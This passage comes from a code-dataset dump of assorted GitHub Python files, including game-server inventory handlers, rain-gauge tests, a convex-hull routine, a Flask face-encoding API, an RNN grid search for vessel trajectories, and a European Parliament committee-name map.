self.server.redis.incrby(f\"uid:{client.uid}:enrg\", 75)\n await client.send([\"ntf.inv\", {'it': {'c': 0, 'iid': '', 'tid': item}}])\n await client.send([\"ntf.res\", {\"res\": await self.server.get_resources(client.uid)}])\n\n async def receive_comfort(self, msg, client):\n frn_list = self.server.parser.parse_furniture()\n redis = self.server.redis\n item = msg[2][\"tpid\"]\n items = [\"gdnTre1\", \"gdnTre2\"]\n if item not in items:\n return\n trade_comfort = frn_list[item][\"rating\"]\n await self.server.redis.decrby(f\"uid:{client.uid}:tradeComfort\", trade_comfort)\n await self.server.inv[client.uid].add_item(item, \"frn\", 1)\n inv = self.server.inv[client.uid].get()\n await client.send([\"ntf.inv\", {\"inv\": inv}])\n ci = await get_city_info(client.uid, self.server)\n await client.send([\"ntf.ci\", {\"ci\": ci}])\n\n async def exchange_for_comfort(self, msg, client):\n frn_list = self.server.parser.parse_furniture()\n redis = self.server.redis\n item = msg[2][\"tpid\"]\n amount = msg[2][\"cnt\"]\n min_amount = 1\n max_amount = 1000000\n if item not in frn_list:\n return\n if amount < min_amount or amount > max_amount:\n return\n if not await self.server.inv[client.uid].take_item(item, amount):\n return\n trade_comfort = frn_list[item][\"rating\"]*amount\n await self.server.redis.incrby(f\"uid:{client.uid}:tradeComfort\", trade_comfort)\n inv = self.server.inv[client.uid].get()\n await client.send([\"ntf.inv\", {\"inv\": inv}])\n ci = await get_city_info(client.uid, self.server)\n await client.send([\"ntf.ci\", {\"ci\": ci}])\n \n async def sale_item(self, msg, client):\n items = self.server.game_items[\"game\"]\n item = msg[2][\"tpid\"]\n amount = msg[2][\"cnt\"]\n if item not in items or \"saleSilver\" not in items[item]:\n return\n if not await self.server.inv[client.uid].take_item(item, amount):\n return\n price = items[item][\"saleSilver\"]\n user_data = await self.server.get_user_data(client.uid)\n redis = self.server.redis\n await redis.incrby(f\"uid:{client.uid}:slvr\", price*amount)\n ci = await get_city_info(client.uid, self.server)\n await client.send([\"ntf.ci\", {\"ci\": ci}])\n inv = self.server.inv[client.uid].get()\n await client.send([\"ntf.inv\", {\"inv\": inv}])\n await client.send([\"ntf.res\", {\"res\": await self.server.get_resources(client.uid)}])\n\n async def apply_internal_offer(self, msg, client):\n r = self.server.redis\n promocode = msg[2][\"ioid\"]\n promocodes = await r.smembers(f\"offers:promocodes\")\n promocode_title = None\n promocode_message = None\n promocode_item = None \n promocode_used_ids = []\n if promocode in promocodes:\n promocode_title = await r.get(f\"offers:promocodes:{promocode}:promocode_title\") \n promocode_message = await r.get(f\"offers:promocodes:{promocode}:promocode_message\")\n promocode_item = await r.get(f\"offers:promocodes:{promocode}:promocode_item\") \n promocode_used_ids = await r.smembers(f\"offers:promocodes:{promocode}:promocode_used_ids\") \n else:\n return await client.send([\"tr.offer\", {\"ioar\": 0}])\n if client.uid in promocode_used_ids:\n return await client.send([\"tr.offer\", {\"ioar\": 3}])\n if promocode_item: \n gift_type = promocode_item.split(\":\")[0] \n gift_type_id = promocode_item.split(\":\")[1]\n gift_count = promocode_item.split(\":\")[2]\n await self.add_promocode_gift(client, gift_type, gift_type_id, gift_count)\n await r.sadd(f\"offers:promocodes:{promocode}:promocode_used_ids\", client.uid)\n return await client.send([\"tr.offer\", {\"ioar\": 1, \"offer\": {\"id\": promocode,\n \"tt\": promocode_title,\n \"msg\": promocode_message,\n \"itm\": gift_type_id,\n \"cnt\": gift_count,\n \"als\": \"\",\n \"rptid\": \"\"}}]) \n\n async def add_promocode_gift(self, client, gift_type, gift_type_id, gift_count): \n r = self.server.redis \n if gift_type_id == \"gold\" and gift_type == \"res\":\n await r.incrby(f\"uid:{client.uid}:gld\", gift_count)\n elif gift_type_id == \"silver\" and gift_type == \"res\":\n await r.incrby(f\"uid:{client.uid}:slvr\", gift_count)\n elif gift_type_id == \"energy\" and gift_type == \"res\":\n await r.incrby(f\"uid:{client.uid}:enrg\", gift_count)\n elif gift_type == \"cls\":\n await self.server.inv[client.uid].add_item(gift_type_id, \"cls\", gift_count) \n elif gift_type == \"frn\":\n await self.server.inv[client.uid].add_item(gift_type_id, \"frn\", gift_count) \n elif gift_type == \"gm\":\n await self.server.inv[client.uid].add_item(gift_type_id, \"gm\", gift_count) \n user_data = await self.server.get_user_data(client.uid)\n await client.send([\"ntf.res\", {\"res\": await self.server.get_resources(client.uid)}])\n inv = self.server.inv[client.uid].get()\n await client.send([\"ntf.inv\", {\"inv\": inv}])\n\n async def open_gift(self, msg, client):\n item = msg[2][\"tpid\"]\n if item not in gifts:\n return\n if not await self.server.inv[client.uid].take_item(item, 1):\n return\n gift = gifts[item]\n res = {\"gld\": 0, \"slvr\": 0, \"enrg\": 0}\n user_apprnc = await self.server.get_appearance(client.uid)\n user_data = await self.server.get_user_data(client.uid)\n count = await self.server.inv[client.uid].get_item(item)\n await client.send([\"ntf.inv\", {\"it\": {\"c\": count, \"iid\": \"\", \"tid\": item}}])\n if \"silver\" in gift:\n res[\"slvr\"] = random.randint(gift[\"silver\"][0], gift[\"silver\"][1])\n if \"gold\" in gift:\n res[\"gld\"] = random.randint(gift[\"gold\"][0], gift[\"gold\"][1])\n if \"energy\" in gift:\n res[\"enrg\"] = random.randint(gift[\"energy\"][0], gift[\"energy\"][1])\n win_items = []\n for item in gift[\"items\"]:\n gift_items = []\n id = item[\"id\"]\n it = item[\"it\"]\n for loot in it:\n if \"gender\" in item:\n gender = \"girl\"\n if user_apprnc[\"g\"] == 2:\n gender = \"boy\"\n if gender != item[\"gender\"]:\n continue\n gift_items.append(loot)\n win_item = random.choice(gift_items)\n win_items.append({\"tid\": win_item[\"name\"], \"iid\": \"\", \"c\": random.randint(win_item[\"minCount\"], win_item[\"maxCount\"]), \"atr\": {\"bt\": 0}, \"id\": id})\n await client.send([\"tr.opgft\", {\"lt\": {\"id\": \"lt\", \"it\": win_items}, \"res\": res, \"ctid\": \"skiResortGifts\"}])\n await self.server.redis.incrby(f\"uid:{client.uid}:gld\", res[\"gld\"])\n await self.server.redis.incrby(f\"uid:{client.uid}:enrg\", res[\"enrg\"])\n await self.server.redis.incrby(f\"uid:{client.uid}:slvr\", res[\"slvr\"])\n await client.send([\"ntf.res\", {\"res\": await self.server.get_resources(client.uid)}])\n for item in win_items:\n await self.server.inv[client.uid].add_item(item[\"tid\"], item[\"id\"], item[\"c\"])\n await client.send([\"ntf.inv\", {\"inv\": self.server.inv[client.uid].inv}])","repo_name":"coolgromov/AvaBox","sub_path":"modules/inventory.py","file_name":"inventory.py","file_ext":"py","file_size_in_byte":10384,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"41722352316","text":"#!/usr/bin/env python\n\n\"\"\"Tests for `storms` package.\"\"\"\n\nimport os\nfrom time import time\n\nimport pytest\nfrom pandas import Timestamp\n\nfrom storms import Raingage\n\ndir = os.path.dirname(os.path.realpath(__file__))\n\n\n@pytest.fixture(scope=\"module\")\ndef BostonRaingage():\n \"\"\"\n Load boston historical data\n\n \"\"\"\n print(\"loading data\")\n start = time()\n gage = Raingage.from_ff(\n os.path.join(dir, \"data/Logan.1h\"), freq=\"H\", latlon=(42.3606, -71.0097)\n )\n gage.find_events()\n gage.find_intervals(periods=[24], constraints=[1])\n print(\n f\"{time()-start} seconds to load data, get events, and pull 24-hour intervals\"\n )\n return gage\n\n\ndef testLargestEvent(BostonRaingage):\n \"\"\"Check largest event is found properly\"\"\"\n largest24hrEvent = [\n 11.94,\n Timestamp(\"1955-08-18 06:00:00\"),\n 41482,\n 41518,\n 40.0,\n 1.41,\n 36,\n ]\n assert (\n BostonRaingage.events.set_index(\"event_num\")\n .sort_values(\"event_total\")\n .iloc[-1]\n .to_list()\n == largest24hrEvent\n )\n","repo_name":"karosc/storms","sub_path":"tests/test_raingage.py","file_name":"test_raingage.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"} +{"seq_id":"42819057155","text":"import matplotlib.pyplot as plt\nimport math\nimport time\nimport numpy as np\n\nstart_t = time.clock()\n\n# points中纵坐标最小点的索引,若有多个则返回横坐标最小的点\ndef get_bottom_point(points):\n min_index = 0\n n = len(points)\n for i in range(0, n):\n if points[i][1] < points[min_index][1] or (\n points[i][1] == points[min_index][1] and points[i][0] < points[min_index][0]):\n min_index = i\n return min_index\n\n\n# 按照与中心点的极角进行排序,余弦,center_point: 中心点\ndef sort_polar_angle_cos(points, center_point):\n n = len(points)\n cos_value = []\n rank = []\n norm_list = []\n for i in range(0, n):\n point_ = points[i]\n point = [point_[0] - center_point[0], point_[1] - center_point[1]]\n rank.append(i)\n norm_value = math.sqrt(point[0] * point[0] + point[1] * point[1])\n norm_list.append(norm_value)\n if norm_value == 0:\n cos_value.append(1)\n else:\n cos_value.append(point[0] / norm_value)\n\n for i in range(0, n - 1):\n index = i + 1\n while index > 0:\n if cos_value[index] > cos_value[index - 1] or (\n cos_value[index] == cos_value[index - 1]\n and norm_list[index] > norm_list[index - 1]):\n temp = cos_value[index]\n temp_rank = rank[index]\n temp_norm = norm_list[index]\n cos_value[index] = cos_value[index - 1]\n rank[index] = rank[index - 1]\n norm_list[index] = norm_list[index - 1]\n cos_value[index - 1] = temp\n rank[index - 1] = temp_rank\n norm_list[index - 1] = temp_norm\n index = index - 1\n else:\n break\n sorted_points = []\n for i in rank:\n sorted_points.append(points[i])\n\n return sorted_points\n\n\n# 返回向量与向量[1, 0]之间的夹角-从[1, 0]沿逆时针方向旋转多少度能到达这个向量\ndef vector_angle(vector):\n norm_ = math.sqrt(vector[0] * vector[0] + vector[1] * vector[1])\n if norm_ == 0:\n return 0\n\n angle = math.acos(vector[0] / norm_)\n if vector[1] >= 0:\n return angle\n else:\n return 2 * math.pi - angle\n\n\n# 两向量的叉乘\ndef coss_multi(v1, v2):\n return v1[0] * v2[1] - v1[1] * v2[0]\n\n\ndef graham_scan(points):\n bottom_index = get_bottom_point(points)\n bottom_point = points.pop(bottom_index)\n sorted_points = sort_polar_angle_cos(points, bottom_point)\n\n m = len(sorted_points)\n if m < 2:\n print(\"点的数量过少,无法构成凸包\")\n return\n\n stack = []\n stack.append(bottom_point)\n stack.append(sorted_points[0])\n stack.append(sorted_points[1])\n # print('当前stack', stack)\n\n for i in range(2, m):\n length = len(stack)\n top = stack[length - 1]\n next_top = stack[length - 2]\n v1 = [sorted_points[i][0] - next_top[0], sorted_points[i][1] - next_top[1]]\n v2 = [top[0] - next_top[0], top[1] - next_top[1]]\n\n while coss_multi(v1, v2) >= 0:\n if length < 3: # 加上这两行代码之后,数据量很大时不会再报错\n break # 加上这两行代码之后,数据量很大时不会再报错\n stack.pop()\n length = len(stack)\n top = stack[length - 1]\n next_top = stack[length - 2]\n v1 = [sorted_points[i][0] - next_top[0], sorted_points[i][1] - next_top[1]]\n v2 = [top[0] - next_top[0], top[1] - next_top[1]]\n stack.append(sorted_points[i])\n\n return stack\n\n\n# 产生随机点\n# n_iter = [100, 500, 1000, 2000, 3000]\n# time_cost = []\n# for n in n_iter:\n# points = []\n# for i in range(n):\n# point_x = np.random.randint(1, 100)\n# point_y = np.random.randint(1, 100)\n# temp = np.hstack((point_x, point_y))\n# point = temp.tolist()\n# points.append(point)\n\n# result = graham_scan(points)\n\n # 记录程序运行时间\n # end_t = time.clock()\n # time_iter = end_t - start_t\n # print(\"Graham-Scan算法运行时间:\", time_iter)\n # # draw(list_points, border_line)\n # time_cost.append(time_iter)\n # 画结果图\n \"\"\"\n for point in points:\n plt.scatter(point[0], point[1], marker='o', c='y', s=8)\n length = len(result)\n for i in range(0, length - 1):\n plt.plot([result[i][0], result[i + 1][0]], [result[i][1], result[i + 1][1]], c='r')\n plt.plot([result[0][0], result[length - 1][0]], [result[0][1], result[length - 1][1]], c='r')\n plt.show()\n \"\"\"\n\n# 不同测试集下的运行时间\n# plt.plot(n_iter, time_cost)\n# plt.show()\n","repo_name":"MurrayMa0816/UAV_track_geometry","sub_path":"graham_scan.py","file_name":"graham_scan.py","file_ext":"py","file_size_in_byte":4741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18220457152","text":"class Solution:\n def isItPossible(self, word1: str, word2: str) -> bool:\n count1 = collections.Counter(word1)\n count2 = collections.Counter(word2)\n distinct1 = len(count1)\n distinct2 = len(count2)\n\n for a in count1:\n for b in count2:\n if a == b:\n # Swapping the same chars won't change the # of distinct chars in\n # each string, so just check if `distinct1 == distinct2`.\n if distinct1 == distinct2:\n return True\n continue\n # The calculation is meaningful only when a != b\n # Swap a in word1 with b in word2.\n distinctAfterSwap1 = distinct1 - (count1[a] == 1) + (count1[b] == 0)\n distinctAfterSwap2 = distinct2 - (count2[b] == 1) + (count2[a] == 0)\n if distinctAfterSwap1 == distinctAfterSwap2:\n return True\n\n return False\n","repo_name":"walkccc/LeetCode","sub_path":"solutions/2531. Make Number of Distinct Characters Equal/2531.py","file_name":"2531.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","stars":756,"dataset":"github-code","pt":"21"} +{"seq_id":"6848253424","text":"from flask import Flask,request,make_response,Response\nimport face_recognition\nfrom flask_cors import CORS\nimport json\nimport os\napp=Flask(__name__)\nCORS(app)\n@app.route('/getFeature',methods=['POST'])\ndef getFeature():\n name = request.args['name']\n path = request.args['filePath']\n print(request.args)\n print(name,path)\n if(not os.path.isfile(path)):\n return Response('File Not Found')\n img = face_recognition.load_image_file(path)\n allencodings = face_recognition.face_encodings(img)\n if(len(allencodings)!=1):\n return Response('Invalid Image')\n \n encoding = allencodings[0]\n data = {}\n data['name']=name\n data['face-data']=encoding.tolist()\n\n str_content = json.dumps(data)\n return Response(str_content)\n\n\n\nif __name__=='__main__':\n app.run(host='0.0.0.0',debug = True)","repo_name":"kylezhaoxc/facedemo","sub_path":"src/win_img2featurevec.py","file_name":"win_img2featurevec.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24460296827","text":"import os\nimport torch\nimport random\nimport itertools\nimport numpy as np\nimport pandas as pd\nimport multiprocessing\n\nfrom sklearn.metrics import balanced_accuracy_score\nfrom tqdm.contrib.concurrent import thread_map\nfrom architecture import NetworkPlayground\nfrom copy import deepcopy\n\nrandom_seed = 6723 # Same used inside the NN\ntorch.backends.cudnn.deterministic = True\ntorch.use_deterministic_algorithms(True)\ntorch.cuda.manual_seed_all(random_seed)\ntorch.set_printoptions(sci_mode=False)\ntorch.set_default_dtype(torch.float64)\ntorch.manual_seed(random_seed)\nnp.random.seed(random_seed)\nrandom.seed(random_seed)\n\nhyperparameters = {\n\t\"bias\": True,\n\t\"dropout\": .0,\n\t\"window\": 10, # number of consecutive AIS messages to feed the NN (per mini-batch)\n\t\"variables\": 4, # number of features per AIS message\n\t\"shuffle\": True,\n\t\"verbose\": True,\n\t\"batch_size\": 256,\n\t\"hidden_size\": 128,\n\t\"test_samples\": 50, # refers to the number of unique trajectories reserved for test\n\t\"use_amsgrad\": True,\n\t\"max_gradnorm\": 1.0,\n\t\"tuning_samples\": 25, # refers to the number of unique trajectories reserved for tuning\n\t\"weight_decay\": 0.01,\n\t\"recurrent_layers\": 1,\n\t\"bidirectional\": False, # whether to assume a multidirectional temporal dependency in the trajectories\n\t\"normalize_data\": True,\n\t\"learning_rate\": 0.001,\n\t\"scheduler_patience\": 2,\n\t\"scheduler_factor\": 0.8,\n\t\"learning_patience\": 6,\n\t\"recurrent_unit\": \"LSTM\", # \"RNN\", \"GRU\", or \"LSTM\"\n\t\"random_seed\": random_seed,\n\t\"improvement_threshold\": 0.1,\n}\n\ndef batchfy_data(df, window=hyperparameters[\"window\"]):\n\t\"\"\"\n\t\tPrepares the dataset for the neural network training.\n\t\tThe testing portion will be separated by the trainer's class.\n\t\tTo change the amount of test data, update \"test_samples\" in the dict above.\n\t\"\"\"\n\tx, y = [], []\n\tfor mmsi in set(df.mmsi):\n\t\tdf_mmsi = df[df.mmsi == mmsi]\n\t\tif df_mmsi.shape[0] >= window:\n\t\t\tdf_mmsi = df_mmsi.sort_values(\"time\")\n\t\t\tdf_mmsi = df_mmsi[[\"lat\", \"lon\", \"sog\", \"cog\", \"labels_pos\"]]\n\t\t\tx.append(torch.from_numpy(df_mmsi.loc[:, df_mmsi.columns != \"labels_pos\"].to_numpy()))\n\t\t\ty.append(torch.from_numpy(df_mmsi.labels_pos.to_numpy()))\n\treturn x, y\n\ndef test_checkpoint(hyperparams, filename):\n\tdf = pd.read_csv(\"../results/time_final/fishing_8_600.csv\")\n\t# df = pd.read_csv(\"../results/observations_final/fishing_8_10.csv\")\n\thyperparameters.update(hyperparams) # for the current iteration\n\thyperparameters[\"details\"] = deepcopy(hyperparams) # for identification\n\treturn (NetworkPlayground(**hyperparameters).cuda()).test_checkpoint(*batchfy_data(df), filename)\n\ndef test_pipelines(hyperparams):\n\ttry:\n\t\thyperparameters.update(hyperparams) # for the current iteration\n\t\thyperparameters[\"details\"] = deepcopy(hyperparams) # for identification\n\n\t\t# Dropout works only when two or more RNN layers are used, but never in the last layer\n\t\tif hyperparameters[\"suffix\"] == \"T\": # time-based pipeline\n\t\t\tdf = pd.read_csv(\"../results/time_final/fishing_8_600.csv\")\n\t\telif hyperparameters[\"suffix\"] == \"O\": # observation-based pipeline\n\t\t\tdf = pd.read_csv(\"../results/observations_final/fishing_8_10.csv\")\n\t\telse:\n\t\t\traise Exception(\"Suffix must be either 'T' or 'O'\")\n\n\t\ttorch.cuda.empty_cache()\n\t\treturn (NetworkPlayground(**hyperparameters).cuda()).fit(*batchfy_data(df))\n\n\texcept Exception as e:\n\t\ttorch.cuda.empty_cache()\n\t\tprint(e)\n\n\ttorch.cuda.empty_cache()\n\treturn None\n\nsearch_space = {\n\t# \"verbose\": [False], # recommended during debugging\n\t# \"batch_size\": [4096], # varies with the GPU Memory\n\t# \"dropout\": [.0, .15], # RNN's dropout probability\n\t# \"suffix\": [\"T\", \"O\"], # different datasets (do not change)\n\t# \"window\": [8, 9, 10], # according to the unsupervised analysis\n\t# \"recurrent_layers\": [1, 2, 3], # number of stacked recurrent layers\n\t# \"bidirectional\": [True, False], # temporal-dependency direction\n\t# \"hidden_size\": [64, 128, 256], # size of the hidden layers\n\t# \"recurrent_unit\": [\"LSTM\", \"RNN\", \"GRU\"], # different RNNs\n\t\"verbose\": [False], # recommended during debugging\n\t\"batch_size\": [4096], # varies with the GPU Memory\n\t\"dropout\": [0, .1], # RNN's dropout probability\n\t\"suffix\": [\"O\", \"T\"], # different datasets (do not change)\n\t\"window\": [5, 10, 15, 20, 25], # according to the unsupervised analysis\n\t\"recurrent_layers\": [2, 3, 4, 5], # number of stacked recurrent layers\n\t\"bidirectional\": [False], # temporal-dependency direction\n\t\"hidden_size\": [32, 64, 128], # size of the hidden layers\n\t\"recurrent_unit\": [\"RNN\"], # different RNNs\n} # This is a comprehensive, but reduced, set of possibilities\n\nqueries = []\ndetails = [[\"suffix\", \"window\", \"dropout\", \"hidden_size\", \"recurrent_layers\",\n \"recurrent_unit\", \"bidirectional\", \"min_loss\", \"filename\"]]\nfor f in os.listdir(\"./training-checkpoints/\"):\n\tcheckpoint = torch.load(os.path.join(\"./training-checkpoints/\", f))\n\tquery = checkpoint[\"details\"]; queries.append(checkpoint[\"details\"])\n\tdetails.append([query[\"suffix\"], query[\"window\"], query[\"dropout\"],\n\t query[\"hidden_size\"], query[\"recurrent_layers\"],\n\t query[\"recurrent_unit\"], query[\"bidirectional\"],\n\t checkpoint[\"min_loss\"], f])\n\nif len(details) > 1:\n\t# Save the compiled results of the models tested this far\n\tresults_df = pd.DataFrame(details[1:], columns=details[0])\n\tshared_columns = list(set(results_df.columns) - {\"min_loss\", \"filename\"})\n\tcompiled_df = results_df.loc[results_df.groupby(shared_columns).min_loss.idxmin()]\n\tcompiled_df = compiled_df[((compiled_df[\"dropout\"] == 0) | ((compiled_df[\"dropout\"] > 0) & (compiled_df[\"recurrent_layers\"] > 1)))]\n\tcompiled_df.sort_values(\"min_loss\").to_csv(\"compiled-results.csv\")\n\n\tfor duplicate in set(results_df.filename.values) - set(compiled_df.filename.values):\n\t\tos.remove(os.path.join(\"./training-checkpoints/\", duplicate))\n\ntemp_search = [dict(zip(search_space, x)) for x in itertools.product(*search_space.values())] # Complete in-grid search space\ngrid_search = [q for q in temp_search if (q[\"dropout\"] == 0 or (q[\"dropout\"] > 0 and q[\"recurrent_layers\"] > 1)) and (q not in queries)]\nnp.random.shuffle(grid_search) # Randomly shuffle for increased variability of the experiments during the early stages\n\n# Benchmarking results regarding the temporal approach\nprint(\"The search space size is of %d possibilities!\" % len(grid_search))\n_ = [test_pipelines(params) for params in grid_search]\n# _ = thread_map(test_pipelines, iter(grid_search), max_workers=2, disable=True)\n","repo_name":"marthadais/AISclassification","sub_path":"network/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":6440,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"21"} +{"seq_id":"42659284605","text":"import numpy as np\n\n'''\nStore invariants across puzzles\n'''\n\nTHICKNESS = 4.57\nFILLISTER_DEPTH = THICKNESS - 3.76\nFILLISTER_LENGTH = 3.58\nFILLISTER_MARGIN = 0.02\n\nHOLLOW_SQUARE_SIZE = 14.00\nTRI_STICK_LENGTH = 61.60\nSTICK_WIDTH = (TRI_STICK_LENGTH - 3 * HOLLOW_SQUARE_SIZE) / 4.0\nSTICK_HEIGHT = THICKNESS\n\n# STICK_LENGTH is a variable\n\nUC_V = np.array(\n[[1,0,0],\n[1,1,1],\n[0,1,1],\n[1,0,1],\n[1,1,0],\n[0,0,1],\n[0,0,0],\n[0,1,0]], dtype=np.float64)\n\nUC_F = np.array(\n[\n[4,0,6],\n[4,6,7],\n[1,2,5],\n[1,5,3],\n[4,1,3],\n[4,3,0],\n[0,3,5],\n[0,5,6],\n[6,5,2],\n[6,2,7],\n[1,4,7],\n[1,7,2]], dtype=np.int32)\n","repo_name":"xinyazhang/PuzzleTunnelDiscovery","sub_path":"src/GP/dualdata/template.py","file_name":"template.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"21"} +{"seq_id":"28406346507","text":"import serial\nimport time\nser = serial.Serial(0,9600)\nprint(ser.name)\n\n#while(True):\n#\tcommand=input(\"Serial input: \")\n#\tprint(command)\n#\tcommand=command+\"\\n\"\n#\tcommand=command.encode()\n#\tser.write(command)\n\nprint(\"Project 4: IDK\")\n#command=\"song1\"\n#command=command+\"\\n\"\n#command=command.encode()\n#ser.write(command) #telling arduino to play song1\n\ndef strPrint(word):\n\tfor x in word:\n\t\tprint(x)\n\t\ttime.sleep(0.1)\n\n#strPrint(\"I WANT CHICKEN\")\n\nmusicBox=True\n\nwhile(musicBox):\n\tprint(\"1: Mortal Kombat\")\n\tprint(\"2: Guile Theme\")\n\tprint(\"3: Exit\")\n\tcommand=input(\"Song Input: \")\n\tprint(\"Song Chosen: \"+command)\n\tprint()\n\tif (command==\"3\"):\n\t\tmusicBox=False\n\tcommand=command+\"\\n\"\n\tcommand=command.encode()\n\tser.write(command)\n\nser.close()\n","repo_name":"Tonylil/MTEC-2280","sub_path":"musicBox.py","file_name":"musicBox.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12127857411","text":"from flask import Blueprint, request, Response\n\nfrom uuid import uuid4\n\nfrom cache import client\n\nfrom datetime import datetime\n\nfrom utils import missing_attributes, STATUS\n\n\nsensor = Blueprint('sensor', __name__)\n\n\ndef webhook():\n document = request.get_json(force=True, silent=False, cache=False)\n\n if not document:\n return Response(*STATUS.get('no_content'))\n\n attributes = ['url']\n\n if missing_attributes(document, attributes):\n return Response(*STATUS.get('unprocessable_entity'))\n\n trace = uuid4().hex\n\n client.publish(\n 'webhook',\n str({\n 'url': document.get('url'),\n 'trace': trace,\n 'register': datetime.today().strftime('%x %X'),\n 'seconds': document.get('seconds', 5)\n })\n )\n\n return Response('Registered {trace}'.format(trace=trace), 200)\n\n\nsensor.add_url_rule('/webhook', view_func=webhook, methods=['POST'])\n","repo_name":"wwalterr/events","sub_path":"source/sensor.py","file_name":"sensor.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11224216382","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# This file is part of parltrack\n\n# parltrack is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n\n# parltrack is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n\n# You should have received a copy of the GNU Affero General Public License\n# along with parltrack If not, see .\n\n# (C) 2011 by Stefan Marsiske, , Asciimoo\n\nCOMMITTEE_MAP={u'AFET': u\"Foreign Affairs\",\n u'DROI': u\"Human Rights\",\n u'CLIM': u'Climate Change',\n u'CRIM': u'Organised crime, corruption and money laundering',\n u'TDIP': u'Temporary committee on use of European countries by the CIA',\n u'SEDE': u\"Security and Defence\",\n u'DEVE': u\"Development\",\n u'INTA': u\"International Trade\",\n u'BUDG': u\"Budgets\",\n u'CONT': u\"Budgetary Control\",\n u'CODE': u\"Conciliation Committee\",\n u'ECON': u\"Economic and Monetary Affairs\",\n u'EMPL': u\"Employment and Social Affairs\",\n u'ENVI': u\"Environment, Public Health and Food Safety\",\n u'ITRE': u\"Industry, Research and Energy\",\n u'IMCO': u\"Internal Market and Consumer Protection\",\n u'TRAN': u\"Transport and Tourism\",\n u'REGI': u\"Regional Development\",\n u'AGRI': u\"Agriculture and Rural Development\",\n u'PECH': u\"Fisheries\",\n u'CULT': u\"Culture and Education\",\n u'JURI': u\"Legal Affairs\",\n u'LIBE': u\"Civil Liberties, Justice and Home Affairs\",\n u'AFCO': u\"Constitutional Affairs\",\n u'FEMM': u\"Women's Rights and Gender Equality\",\n u'PETI': u\"Petitions\",\n u'CRIS': u\"Financial, Economic and Social Crisis\",\n u'SURE': u\"Policy Challenges Committee\",\n u'RETT': u\"Regional Policy, Transport and Tourism\",\n u'Foreign Affairs': u'AFET',\n u\"Regional Policy, Transport and Tourism\": u'RETT',\n u'Foreign Affairs': u'AFET',\n u'Subcommittee on Human Rights': u'DROI',\n u'Human Rights': u'DROI',\n u'Security and Defence': u'SEDE',\n u'Development': u'DEVE',\n u'International Trade': u'INTA',\n u'Budgets': u'BUDG',\n u'Budgetary Control': u'CONT',\n u'Organised crime, corruption and money laundering' : u'CRIM',\n u'Economic and Monetary Affairs': u'ECON',\n u'Employment and Social Affairs': u'EMPL',\n u'Environment, Public Health and Food Safety': u'ENVI',\n u'Industry, Research and Energy': u'ITRE',\n u'Internal Market and Consumer Protection': u'IMCO',\n u'Transport and Tourism': u'TRAN',\n u'Regional Development': u'REGI',\n u'Agriculture and Rural Development': u'AGRI',\n u'Fisheries': u'PECH',\n u'Culture and Education': u'CULT',\n u'Legal Affairs': u'JURI',\n u'Civil Liberties, Justice and Home Affairs': u'LIBE',\n u'Constitutional Affairs': u'AFCO',\n u\"Women's Rights and Gender Equality\": u'FEMM',\n u\"Committee on Women's Rights and Gender\": u'FEMM',\n u\"Women’s Rights and Gender Equality\": u'FEMM',\n u'Petitions': u'PETI',\n u'Financial, Economic and Social Crisis': u'CRIS',\n u'Policy Challenges Committee': u'SURE',\n u'Committee on Foreign Affairs': u'AFET',\n u'Committee on Human Rights': u'DROI',\n u'Committee on Security and Defence': u'SEDE',\n u'Committee on Development': u'DEVE',\n u'Committee on development': u'DEVE',\n u'Special Committee on the Financial, Economic and Social Crisis': u'CRIS',\n u'Special committee on the policy challenges and budgetary resources for a sustainable': u'SURE',\n u'Special committee on the policy challenges and budgetary resources for a sustainable European Union after 2013': u'SURE',\n u'Committee on International Trade': u'INTA',\n u'Committee on Budgets': u'BUDG',\n u'Committee on Budgetary Control': u'CONT',\n u'Committee on Economic and Monetary Affairs': u'ECON',\n u'Committee on Employment and Social Affairs': u'EMPL',\n u\"Commission de l'emploi et des affaires sociales\": u'EMPL',\n u'Commission des libertés civiles, de la justice et des affaires intérieures': u'LIBE',\n u'Committee on Environment, Public Health and Food Safety': u'ENVI',\n u'Committee on the Environment, Public Health and Food Safety': u'ENVI',\n u'Committee on Industry, Research and Energy': u'ITRE',\n u'Committee on Internal Market and Consumer Protection': u'IMCO',\n u'Committee on the Internal Market and Consumer Protection': u'IMCO',\n u'Committee on Transport and Tourism': u'TRAN',\n u'Committee on Regional Development': u'REGI',\n u'Committee on Agriculture and Rural Development': u'AGRI',\n u'Committee on Agricultural and Rural Development': u'AGRI',\n u'Committee on Committee on Agriculture and Rural Development': u'AGRI',\n u\"Commission de l'agriculture et du développement rural\": u'AGRI',\n u\"Commission du marché intérieur et de la protection des consommateurs\": u'IMCO',\n u'Co-Committee on the Internal Market and Consumer Protection': u'IMCO',\n u'COMMITTEE ON THE INTERNAL MARKET AND CONSUMER PROTECTION': u'IMCO',\n u'Committee on Fisheries': u'PECH',\n u'Committee on Culture and Education': u'CULT',\n u'Committee on Legal Affairs': u'JURI',\n u'Committee on Civil Liberties, Justice and Home Affairs': u'LIBE',\n u'Committee on Constitutional Affairs': u'AFCO',\n u\"Committee on Women's Rights and Gender Equality\": u'FEMM',\n u\"Committee on Women’s Rights and Gender Equality\": u'FEMM',\n u'Committee on Petitions': u'PETI',\n u'Committee on Financial, Economic and Social Crisis': 